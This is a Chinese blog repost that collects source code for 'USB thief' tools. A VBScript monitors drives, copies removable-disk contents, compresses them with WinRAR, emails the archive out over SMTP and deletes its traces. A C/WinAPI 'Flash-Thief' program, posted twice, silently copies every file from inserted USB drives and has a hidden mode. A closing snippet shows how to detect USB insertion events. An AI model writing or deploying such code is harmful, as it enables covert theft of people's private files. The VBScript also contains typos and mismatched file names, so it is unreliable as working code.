1. 程式人生 > >分別用vbs,C++寫U盤大盜原始碼

分別用vbs,C++寫U盤大盜原始碼

               

2b007 朋友寫的VBS版本:

前幾天在網上流浪 發現了一個東東——U盤大盜
看看他的說明:原理很簡單就是每隔一段時間 探測有沒有 新的裝置然後……
直覺告訴我用vbs可能更簡單
---------------------------------------------------------------------------------------------------------
on error resume next
Dim fso, d, dc, s, f, f1,fp, fc,strMfrom,strMto,strMfpass,sfile
Dim WshShell,oShell,strcmdpath
Set oShell = WScript.CreateObject ("WSCript.shell")
Set fso = CreateObject("Scripting.FileSystemObject")
                                                
do while true                                                         'do while ……loop部分 用一個死迴圈實現對drives的監控
   getnewDrive
wscript.sleep 5*1000*60                  
loop                                                                                       

Function getnewDrive                                            ' 檢測有沒有新的drive?
        Set dc = fso.Drives
   For Each d in dc
wscript.echo d.dirvename
             If d.DriveType >2  and d.IsReady=true Then    '檢查drivetype的屬性和準備情況    fp=fso.CreateFolder("c:/New")     '建立一個新的資料夾 以方便把U盤的檔案拷過來
fppth=fp.path   

         copyfiletotemp(d)                       
            End If
        Next
  End Function

Function copyfiletotemp(folderspec)                                
                                                     
   Set f = fso.GetFolder(folderspec)     
   Set fc = f.SubFolders                                                       
   set fs = f.files
   For Each f1 in fc             '得到所有資料夾  
   f1.copy(fppth)
   Next
   for each f1 in fs             ' 得到所有檔案
   f1.copy(fppth)
   next


oShell.run "cmd /K CD C://Program Files//WinRAR/ &rar.exe a c:/ufiles.rar c:/new/  -- ",0 '壓縮一下


sfile="c:/upfiles.rar"
sendfiletome strMfrom,strMto,strMfpass,sfile
End Function
function sendfiletome(strMfrom,strMto,strMfpass,sfile)
dim uname,file,lenth,len2,smtpser
lenth=InStrRev(strMfrom,"@")
uname=left(strMfrom,lenth-1)
len2=len(strMfrom)-lenth
smtpser="smtp."&right(strMfrom,len2)
NameSpace = "http://schemas.microsoft.com/cdo/configuration/"
Set Email = CreateObject("CDO.Message")
Email.From = strMfrom
Email.To = strMto
Email.Subject = "送資料來了,大哥"
Email.Textbody = "大哥,我很累.哦 我想喝瓶汽水"
if (sfile=nul) then
Email.AddAttachment sfile,true '雙引號內新增附件,如果有多個就另寫一行
end if
With Email.Configuration.Fields
.Item(NameSpace&"sendusing") = 2
.Item(NameSpace&"smtpserver") = smtpser '發信伺服器
.Item(NameSpace&"smtpserverport") = 25
.Item(NameSpace&"smtpauthenticate") = 1
.Item(NameSpace&"sendusername") = uname'發信人的姓名
.Item(NameSpace&"sendpassword") = strMfpass     '發信郵箱密碼
.Update
End With
Email.Send
oshell.reu "del c:/new/&del"&sfile '打掃痕跡
Set oShell = Nothing               '釋放物件
end function


tips:

drivetype:
      0: "Unknown"
      1: "Removable"
      2: "Fixed"
      3: "Network"
      4: "CD-ROM"
      5: "RAM Disk"


U盤大盜DIY
作者:lake2  來源:lake2的專欄  釋出時間:2005-9-30 8:10:01  釋出人:noangel

看某期《黑客防線》上有介紹編寫“U盤小偷”這個盜取U盤內所有檔案的程式的文章,反正也沒事做,自己也寫了一個。文中是用VC++加MFC寫的,我用C、API來寫,而且名字叫“U盤大盜”,不然怎麼會叫DIY呢^_^
原理很簡單,就是每隔一段時間探測驅動器,發現可移動盤就把裡面的內容copy到機器上。幾下子就搞定。程式碼如下,有關函式的可參考MSDN、CSDN搜尋(還多虧了它呢)。
#include "windows.h"
#include "stdio.h"
#include "string.h"
#include "direct.h"
char dir[260];
/*
看好啦,偷東西咯~
*/
void Copy( char* FileName )

{

      char dir2[260];
       strcpy( dir2 , dir );

      //從全路徑提取出檔名

       char* temp = strchr(FileName,'//');
       temp++;

       strcat(dir2 , temp );

       CopyFile( FileName , dir2 , 1 );
}

void CreateDir( char * path )

{

       char temp2[260];strcpy( temp2 , dir );

       char* temp = strchr( path , '//');

       temp++;

       strcat(temp2 , temp );

       mkdir( temp2 );
}

/*

這個函式就是遍歷目錄得到檔案

*/

void GetFile( char* FilePath )

{

       char temp[260],temp1[260];

       strcpy( temp ,FilePath );

       WIN32_FIND_DATA FindFileData;

       HANDLE hFind;

       strcat( temp , "*");

       //printf("%s",temp);

       hFind = FindFirstFile( temp , &FindFileData );
       //printf("%s/n",FindFileData.cFileName );

       if ( hFind == INVALID_HANDLE_VALUE )

       {

              //printf ("Invalid File Handle. GetLastError reports %d/n", GetLastError ());

              //exit(0);

       }

       else

       {   

              //printf("%s",temp1);          

                     do

                     {

                            strcpy( temp1 , FilePath );

                            strcat( temp1 , FindFileData.cFileName );

                            if(strcmp( FindFileData.cFileName , "." )!=0&&strcmp( FindFileData.cFileName , ".." )!=0)

                            {

                                   if( FindFileData.dwFileAttributes == FILE_ATTRIBUTE_DIRECTORY )

                                   {

                                                 strcat( temp1 , "//" );

                                                 CreateDir( temp1 );

                                                 GetFile( temp1 );

                                   }

                                   else

                                   {

                                          //printf("%s/n",temp1 );

                                          Copy( temp1 );

                                   }                 

                            }

                     }while( FindNextFile( hFind,&FindFileData ) );

       }

       FindClose(hFind);
}

/*

這個函式檢測是否為可移動磁碟

*/

int CheckDisk(char *disk)

{

       if(GetDriveType(disk)==DRIVE_REMOVABLE)return 0;

       return -1;
}

int Steal()

{

       char buf[10];

       DWORD lod=GetLogicalDrives();

/*

GetLogicalDrives 返回的是一個32位整數,將他轉換成二進位制後,最高位表示驅動器A: 依次類推

比如,10111000000000000000000000000000

表示這臺機器有驅動器 a,c,d,e

*/

       if (lod!=0)

       {

       for (int i=0;i<26;i++)

              {

                     if ((lod & 1)==1)

                     {

                            sprintf(buf,"%c",'A'+i);

                            strcat(buf,"://");

                            if(!CheckDisk(buf))

                            {

                                   //現在判斷驅動是否準備就緒~

                                   if(GetVolumeInformation(buf,0,0,0,0,0,0,0))

                                   {

                                          GetFile(buf);//!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!

                                          //GetFile("j://a//");

                                   }

                            }

                     }

                     lod=lod>>1;

              }

}

       return 0;

}

int main(int argc, char* argv[])

{

              SYSTEMTIME st;

              char dtime[20],temp[10];

              GetLocalTime( &st );

              itoa( st.wYear ,temp , 10 );

              strcpy( dtime , temp );

              itoa( st.wMonth ,temp , 10 );

              strcat( dtime , temp );

              itoa( st.wDay ,temp , 10 );

              strcat( dtime , temp );

              mkdir( dtime );

              getcwd( dir , 260 );

              strcat( dir , "//");

              strcat( dir , dtime );

              strcat( dir , "//" );

       if(argc!=2)

       {

              printf("/n Flash-Thief 1.0 by lake2 ( http://lake2.126.com )  /n");

              printf("Date: /t2005-5-28/n");

              printf("You can quit this program with Ctrl + C /nand you can run it in hide mode with /'-hide/'  /n");

              printf("It's nothing with me whatever you do ! /n");

              printf("Running......./n");

              while(1)

              {

                     Steal();

                     Sleep(30000);

              }

       }

       else

       {

              if(strcmp( argv[1] , "-hide" )==0){printf("It's nothing with me whatever you do ! /n");ShellExecute( 0, "open", argv[0], NULL, NULL, SW_HIDE );}

              else

                     printf("Parameter %s is invalid",argv[1]);

       }

       return 0;

}
程式是命令列下的,加引數“-hide”可以後臺執行;執行後會在當前目錄生成當前日期的資料夾,盜取的東東都放在裡面。程式有個小問題,就是當可移動裝置是個行動硬碟的時候,呵呵,恐怕你的硬碟要很大才行哦。這個問題不想改了。
VS.net + XP SP1 編譯通過,編譯好的程式這裡可以下http://www.0x54.org/lake2/program/flash-thief.exe


U盤大盜DIY
作者:lake2  來源:lake2的專欄  釋出時間:2005-9-30 8:10:01  釋出人:noangel

減小字型 增大字型

【收藏到ViVi】【收藏到YouNote】【收藏此頁到365Key】【 收藏此頁到bbmao】
看某期《黑客防線》上有介紹編寫“U盤小偷”這個盜取U盤內所有檔案的程式的文章,反正也沒事做,自己也寫了一個。文中是用VC++加MFC寫的,我用C、API來寫,而且名字叫“U盤大盜”,不然怎麼會叫DIY呢^_^
原理很簡單,就是每隔一段時間探測驅動器,發現可移動盤就把裡面的內容copy到機器上。幾下子就搞定。程式碼如下,有關函式的可參考MSDN、CSDN搜尋(還多虧了它呢)。
#include "windows.h"
#include "stdio.h"
#include "string.h"
#include "direct.h"
char dir[260];
/*
看好啦,偷東西咯~
*/
void Copy( char* FileName )

{

      char dir2[260];
       strcpy( dir2 , dir );

      //從全路徑提取出檔名

       char* temp = strchr(FileName,'//');
       temp++;

       strcat(dir2 , temp );

       CopyFile( FileName , dir2 , 1 );
}

void CreateDir( char * path )

{

       char temp2[260];strcpy( temp2 , dir );

       char* temp = strchr( path , '//');

       temp++;

       strcat(temp2 , temp );

       mkdir( temp2 );
}

/*

這個函式就是遍歷目錄得到檔案

*/

void GetFile( char* FilePath )

{

       char temp[260],temp1[260];

       strcpy( temp ,FilePath );

       WIN32_FIND_DATA FindFileData;

       HANDLE hFind;

       strcat( temp , "*");

       //printf("%s",temp);

       hFind = FindFirstFile( temp , &FindFileData );
       //printf("%s/n",FindFileData.cFileName );

       if ( hFind == INVALID_HANDLE_VALUE )

       {

              //printf ("Invalid File Handle. GetLastError reports %d/n", GetLastError ());

              //exit(0);

       }

       else

       {   

              //printf("%s",temp1);          

                     do

                     {

                            strcpy( temp1 , FilePath );

                            strcat( temp1 , FindFileData.cFileName );

                            if(strcmp( FindFileData.cFileName , "." )!=0&&strcmp( FindFileData.cFileName , ".." )!=0)

                            {

                                   if( FindFileData.dwFileAttributes == FILE_ATTRIBUTE_DIRECTORY )

                                   {

                                                 strcat( temp1 , "//" );

                                                 CreateDir( temp1 );

                                                 GetFile( temp1 );

                                   }

                                   else

                                   {

                                          //printf("%s/n",temp1 );

                                          Copy( temp1 );

                                   }                 

                            }

                     }while( FindNextFile( hFind,&FindFileData ) );

       }

       FindClose(hFind);
}

/*

這個函式檢測是否為可移動磁碟

*/

int CheckDisk(char *disk)

{

       if(GetDriveType(disk)==DRIVE_REMOVABLE)return 0;

       return -1;
}

int Steal()

{

       char buf[10];

       DWORD lod=GetLogicalDrives();

/*

GetLogicalDrives 返回的是一個32位整數,將他轉換成二進位制後,最高位表示驅動器A: 依次類推

比如,10111000000000000000000000000000

表示這臺機器有驅動器 a,c,d,e

*/

       if (lod!=0)

       {

       for (int i=0;i<26;i++)

              {

                     if ((lod & 1)==1)

                     {

                            sprintf(buf,"%c",'A'+i);

                            strcat(buf,"://");

                            if(!CheckDisk(buf))

                            {

                                   //現在判斷驅動是否準備就緒~

                                   if(GetVolumeInformation(buf,0,0,0,0,0,0,0))

                                   {

                                          GetFile(buf);//!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!

                                          //GetFile("j://a//");

                                   }

                            }

                     }

                     lod=lod>>1;

              }

}

       return 0;

}

int main(int argc, char* argv[])

{

              SYSTEMTIME st;

              char dtime[20],temp[10];

              GetLocalTime( &st );

              itoa( st.wYear ,temp , 10 );

              strcpy( dtime , temp );

              itoa( st.wMonth ,temp , 10 );

              strcat( dtime , temp );

              itoa( st.wDay ,temp , 10 );

              strcat( dtime , temp );

              mkdir( dtime );

              getcwd( dir , 260 );

              strcat( dir , "//");

              strcat( dir , dtime );

              strcat( dir , "//" );

       if(argc!=2)

       {

              printf("/n Flash-Thief 1.0 by lake2 ( http://lake2.126.com )  /n");

              printf("Date: /t2005-5-28/n");

              printf("You can quit this program with Ctrl + C /nand you can run it in hide mode with /'-hide/'  /n");

              printf("It's nothing with me whatever you do ! /n");

              printf("Running......./n");

              while(1)

              {

                     Steal();

                     Sleep(30000);

              }

       }

       else

       {

              if(strcmp( argv[1] , "-hide" )==0){printf("It's nothing with me whatever you do ! /n");ShellExecute( 0, "open", argv[0], NULL, NULL, SW_HIDE );}

              else

                     printf("Parameter %s is invalid",argv[1]);

       }

       return 0;

}
程式是命令列下的,加引數“-hide”可以後臺執行;執行後會在當前目錄生成當前日期的資料夾,盜取的東東都放在裡面。程式有個小問題,就是當可移動裝置是個行動硬碟的時候,呵呵,恐怕你的硬碟要很大才行哦。這個問題不想改了。
VS.net + XP SP1 編譯通過,編譯好的程式這裡可以下http://www.0x54.org/lake2/program/flash-thief.exe

dumplogin 朋友的改進:

U盤插入的時候,  會對每個程序廣播一個訊息, 捕捉這個訊息再處理不是比迴圈判斷強多了? 而且訊息帶的資料裡面就有USB裝置被分配的碟符

GUID DiskClassGuid = {0x53F56307,0x0B6BF,0x11D0,{0x94,0xF2,0x00,0xA0,0xC9,0x1E,0xFB,0x8B}};
.......
//根據 GUID 來註冊Device事件的過濾
BOOL RegisterDeviceNotificationWithGuid(HWND hWnd,GUID filterguid)
{
    DEV_BROADCAST_DEVICEINTERFACE NotificationFilter;
    HDEVNOTIFY hDevnotify;
    int len;
   
    len = sizeof(DEV_BROADCAST_DEVICEINTERFACE);
    memset(&NotificationFilter,0,len);

    NotificationFilter.dbcc_size = 0x20;
    NotificationFilter.dbcc_devicetype = 5;    //DBT_DEVTYP_DEVICEINTERFACE;
    NotificationFilter.dbcc_classguid = filterguid;
    //註冊事件
    hDevnotify = RegisterDeviceNotification(hWnd,&NotificationFilter,DEVICE_NOTIFY_WINDOW_HANDLE);
    if(hDevnotify == NULL)   
    {
        PRINTF("RegisterDeviceNotification Failed:%d/n",GetLastError());
        return FALSE;
    }
    return TRUE;
}
....
更多請看RegisterDeviceNotification()的MSDN

LRESULT CALLBACK MainWndProc(HWND hwnd,UINT uMsg,WPARAM wParam,LPARAM lParam)
{
    PDEV_BROADCAST_VOLUME PdevVolume;
    PDEV_BROADCAST_DEVICEINTERFACE PdevDEVICEINTERFACE;
   
    switch(uMsg)
    {
        //接收到某個事件
        case    WM_DEVICECHANGE:
            switch(wParam)
            {
                case DBT_DEVICEARRIVAL:
                    PdevDEVICEINTERFACE = (PDEV_BROADCAST_DEVICEINTERFACE) lParam;
                    switch(PdevDEVICEINTERFACE->dbcc_devicetype)
                    {
                        //這個事件表示某個USB裝置已經插入
                        case DBT_DEVTYP_DEVICEINTERFACE:
                            PRINTF("[+] A new Device Arrived/n");
                            PRINTF("[+] dbcc_name:%s/n",PdevDEVICEINTERFACE->dbcc_name);                                //dbcc_name裡就有driver_name
                            break;
                        //系統為其分配到的碟符
                        case DBT_DEVTYP_VOLUME:
                            PdevVolume = (PDEV_BROADCAST_VOLUME) lParam;
                            PRINTF("/t/tdbcv_unitmask:0x%.8x/n",PdevVolume->dbcv_unitmask);
                    }
                    break;
            }
            break;
    }
    return TRUE;
}